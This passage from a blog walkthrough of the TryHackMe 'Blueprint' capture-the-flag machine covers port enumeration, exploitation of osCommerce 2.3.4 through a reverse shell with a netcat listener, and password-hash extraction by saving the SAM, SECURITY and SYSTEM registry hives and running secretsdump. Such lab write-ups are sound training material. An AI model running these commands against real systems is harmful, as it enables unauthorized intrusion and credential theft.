give us a 404 error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*rcJtYGo9Lz3CAh6CUzHHfw.png" /><figcaption>http://[targetMachineIP]:80</figcaption></figure><p>Lets do a directory enumeration with gobuster. Maybe there is a hidden directory somewhere on this port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*r9kfGl-cLbig8skLNrWX8Q.png" /></figure><pre>gobuster dir -u <a href="http://[targetMachineIp]">http://[targetMachineIp]</a> - w /usr/share/wordlists/dirb/big.txt</pre><p>Directory enumeration was no luck. It seems that port 80 does not have anything useful.</p><h3>Investigating port 443/ssl-http service</h3><p>Accessing port 443 through Firefox browser we can see a 400 error. There is nothing hidden in the page’s source code and the links will not direct us anywhere useful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*a5ZbiTVTOm1-70XtF0I7lA.png" /><figcaption>https://[targetMachineIP]:443</figcaption></figure><p>Lets try gobuster again maybe we get lucky now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*MfvJe56n7WilD7ZZVCfWMQ.png" /></figure><p>It seems that there is a problem with the certificate. We have another port to investigate so we can continue and if we do not find an attack vector to gain access to the target machine we will come to this port again and try investigate more.</p><h3>Investigating port 8080/http service</h3><p>Accessing port 443 through Firefox browser we can see there is a file named “oscommerce-2.3.4</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*u0vmd9QFlLH6Bz5g5s2cOg.png" /><figcaption>http://[targetMachineIP]:8080</figcaption></figure><p>So what is oscommerce-2.3.4? We can Google it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*d61HMBD8Ata_mAmZvxwYWA.png" /></figure><p>From the results we can see that osCommerce is “a complete store solution that containts both a shop fronted and a administrator backed …” long story short this a online shop software. We can also see that there are RCE exploits for the 2.3.4.1 version. These exploits may be useful later ;-).</p><p>Ok now lets go back to the site and investigate these files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*bxXHU9fi-N33j8E77ae4Tw.png" /><figcaption>oscommerce-2.3.4 directory</figcaption></figure><p>At <em>oscommerce-2.3.4/catalog</em> directory we can see a broken online shop with a lot of links. After investigating all these links and the page source code I did not find anything useful. Maybe you can find something and comment bellow, <strong>that would be awesome</strong>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*F0MCSHRWWANyYoSQkOF8mA.png" /></figure><p>Inside<em> /oscommerce-2.3.4/docs</em> directory there is a bunch of stuff that you can read through if you want. Again I did not find anything of interest.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*p7K6bk18SiTffDw0wCk26w.png" /><figcaption>/oscommerce-2.3.4/docs directory</figcaption></figure><p>Lets also use gobuster on this port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*5z8NMNiIq_ySf7OiI0im5A.png" /></figure><p>We found some directories but most of them are 403 status and the ones that are not are not useful.</p><p>Lets summarize what we have. We have an osCommerce software version 2.3.4, a bunch of directories in oscommerce-2.3.4 and a possible RCE exploit. With these data I think it is safe to try to use the RCE exploits.</p><h3>[Stage 2]Exploitation</h3><p>When we googled “oscommerce-2.3.4” we found some RCE exploits. To be exact we found 2 exploits EDB-ID 50128 and EDB-ID 44374.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*k3YcQ2AfqE_Q-L4WZrXAxA.png" /></figure><p>We can start using exploit 44374 because is EBD Verified and if it does not work we cat use 55128. Using searchsploit from our kali machine we can find this script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*sEzymlRzzCpIbCzm1itXzg.png" /></figure><pre>searchsploit 44374<br>searchsploit -m 44374.py</pre><p>Lets open this script with vim and read through so we can understand how it works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*FKY5CXzYyq058ubZ9pv0ZQ.png" /></figure><p>From the “Versions” sections we can see that it will work with 2.3.4 version of oscommerce. The comments states that “ If an Admin has not removed the /install/ directory … for an unauthenticated attacker to reinstall the page.” so lets test if the /install directory exits in our target machine. We can also see the target_url to help us find where the install directory might be.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*wcNTHbHvXuuRSNoG0zvM-A.png" /></figure><p><strong>Success </strong>this directory exist and might be exploitable. Lets read the rest of the code so we can tune the code to our needs. First of all we need to change the base_url and the target_url with the target machine IP and the right directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*DR4Ok8R2YdHkTEFYoIw68Q.png" /></figure><p>Further down we can see a payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*-fbzKcddgz1WfMsvPu98lA.png" /></figure><p>These seems like a Linux POC payload but we know from the enumeration (and the description of this challenge 😛) that our target machine works with windows. After some search for php payloads I found that this payload will work like a charm from <a href="https://github.com/Dhayalanb/windows-php-reverse-shell/blob/master/Reverse%20Shell.php">here</a>. We just need to change the $ip parameter to our IP so we can get a reverse shell at port 1234.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*EIc898K4dLT2YpwIXh-k6g.png" /></figure><p>In the end the payload look like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*vXnm4WrJg3Gv8KJ6WJQMYA.png" /></figure><p>As you can see we must modify the code a little bit. You can get the modified version of this from <a href="https://deskel.github.io/posts/thm/blueprint"><strong>here</strong></a>( yes another very good writeup I encourage you to check it out) but you still need to put your IP to the <em>$ip</em> parameter.</p><p>Running the script</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*szdRfCe2eRfFB6oSAzU4qQ.png" /></figure><pre>sudo python3 44374.py</pre><p>First we need to open an netcat listener at port 1234.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/290/1*MYcVt5IEEw9R4zTOmn8SQw.png" /></figure><pre>nc -nlvp 1234</pre><p>And then curl the URL that the script shows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*VL8WpZfQFlrHx8nViTHFGA.png" /></figure><p>And BOOOM we are in! With Admin privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*i8E_2ix8McZJLuTj0tkWRg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*6MkocfMe6P9605ibcVbPNA.png" /></figure><p>Now we can answer the second question of this challenge. The root txt can be found on</p><pre>dir C:\Users\Administrator\Desktop\root.txt.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*mSAxUcZBUE4bMG_qyQBZ6A.png" /></figure><p>For the first question we need to do more work. We need to extract the hashes from the target machine. If you try to search how to dump hashes from windows machine you will see methods using Mimikatz, Metasploit and many more sophisticated tools but in reality there is a more convenient, easy and less intrusive method.</p><p>To be able to dump the hashes we need 3 hives SAM, SECURITY and SYSTEM(I want to write an article about these hives, so if you are interest in stay tuned). We can get a copy from these hives with the following commands.We can save these copies to <em>C:\xampp\htdocs\oscommerce-2.3.4\</em></p><pre>reg.exe save hklm\sam <em>C:\xampp\htdocs\oscommerce-2.3.4</em>\sam.save<br>reg.exe save hklm\security[<em>C:\xampp\htdocs\oscommerce-2.3.4</em>\security.save<br>reg.exe save hklm\system <em>C:\xampp\htdocs\oscommerce-2.3.4</em>\system.save</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*T72cqWertCNcoi1eJKuO6Q.png" /></figure><p>Because we have access to this directory from our browser on our kali machine we can simply click on them and download these files so we do not need complex methodologies to transfer the files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*23BtrW5yvgrgZykIQnNSsg.png" /></figure><p>At our kali machine we can use the secretsdump.py from impacket to dump the hashes.</p><pre>python3 secretsdump.py -sam /home/kali/Downloads/sam.save -security /home/kali/Downloads/security.save -system /home/kali/Downloads/system.save LOCAL</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*3XPWNSMGjCo4iYjdZsgOtw.png" /></figure><p>Now we can grab the NTLM hash for the “Lab” user and crack it with a tool such as <a href="https://crackstation.net/">CrackStation</a>.</p><h3>Things that did not work for me</h3><p>After I got access to the machine I was trying to figure out how can I dump the hashes without the use of Metasploit. Of course the first thing that I thought was to use a tool like Mimikatz but I had trouble executing it on the target machine. I am sure that there is a way to execute it but I couldn’t find out. Also I tried several ways using powershell to dump hashes but also non of them worked.</p><p>If you liked this article you can follow my on Twitter -&gt; <a href="https://twitter.com/n3phel1m">https://twitter.com/n3phel1m</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c71c27d6e652" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/blueprint-tryhackme-ctf-walkthrough-c71c27d6e652">Blueprint-TryHackMe[CTF Walkthrough]</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>